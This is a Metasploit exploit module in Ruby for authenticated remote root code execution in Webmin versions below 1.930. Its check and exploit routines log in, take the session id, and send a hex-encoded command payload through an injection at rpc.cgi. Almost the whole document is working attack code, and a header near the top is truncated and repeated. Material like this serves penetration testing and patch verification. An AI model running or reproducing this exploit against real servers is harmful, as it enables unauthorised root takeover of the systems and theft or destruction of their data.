Webmin 1.920 rpc.cgi Remote Root

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Expl ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Webmin < 1.930 Remote Code Execution",
'Description' => %q{
This exploit takes advantage of a code execution issue within the function
unserialise_variable() located in web-lib-funcs.pl, in order to gain root.
The only prerequisite is a valid session id.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Bercegay', # Vulnerability Discovery
],
'References' =>
[
[ 'URL', 'https://www.gulftech.org/' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2019/08/30',
'DefaultTarget' => 0))

register_options(
[
OptString.new('WMPORT', [ true, "Webmin port", '10000']),
OptString.new('WMUSER', [ true, "Webmin username", 'test']),
OptString.new('WMPASS', [ true, "Webmin password", 'test']),
])
end

def check

# Set Webmin port
datastore['RPORT'] = datastore['WMPORT']

# Verbose
print_status("Attempting to login")

# Send login request
res = send_request_cgi(
{
'uri' => '/session_login.cgi',
'method' => 'POST',
'vars_post' =>
{
'user' => datastore['WMUSER'],
'pass' => datastore['WMPASS'],
'save' => '1'
},
'cookie' => "redirect=1; testing=1; sessiontest=1;"
})

# If succesful cookie will be set
if ( res and res.headers['Set-Cookie'] )
# Do we have a valid SID?
if ( /sid=/.match(res.headers['Set-Cookie']) )
# Extract the SID
sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1]
print_good("Login was successful")
else
# No dice
print_bad("Unable to login")
return Exploit::CheckCode::Safe
end
else
# No dice
print_bad("Unexpected response")
return Exploit::CheckCode::Safe
end

# Verbose
print_status("Checking if host is vulnerable")

# Try to execute arbitrary code
res = send_request_cgi({
'uri' => '/rpc.cgi',
'method' => 'POST',
'headers' =>
{
'Referer' => 'http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s
},
'data' => 'OBJECT CGI;print "Content-Type: text/metasploit "',
'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid
})

# If it works our custom Content-Type will be set
if ( res.headers['Content-Type'] and res.headers['Content-Type'] == "text/metasploit" )
# Good
return Exploit::CheckCode::Vulnerable
else
# Bad
return Exploit::CheckCode::Safe
end
end

def exploit

# Set Webmin port
datastore['RPORT'] = datastore['WMPORT']

# Verbose
print_status("Attempting to login")

# Send login request
res = send_request_cgi(
{
'uri' => '/session_login.cgi',
'method' => 'POST',
'vars_post' =>
{
'user' => datastore['WMUSER'],
'pass' => datastore['WMPASS'],
'save' => '1'
},
'cookie' => "redirect=1; testing=1; sessiontest=1;"
})

# If succesful cookie will be set
if ( res and res.headers['Set-Cookie'] )
# Do we have a valid SID?
if ( /sid=/.match(res.headers['Set-Cookie']) )
# Extract the SID
sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1]
print_good("Login was successful")
else
# No dice
print_bad("Unable to login")
return
end
else
# No dice
print_bad("Unexpected response")
return
end

# Verbose
print_status("Sending selected payload")

# Hex encode payload to prevent problems with the payload getting mangled
hex = 'x' + payload.encoded.scan(/./).map{ |x| x.unpack('H*') }.join('x')

# Send selected payload
res = send_request_cgi({
'uri' => '/rpc.cgi',
'method' => 'POST',
'headers' =>
{
'Referer' => 'https://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s
},
'data' => 'OBJECT CGI;`' + hex + '`',
'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid
})
end
end
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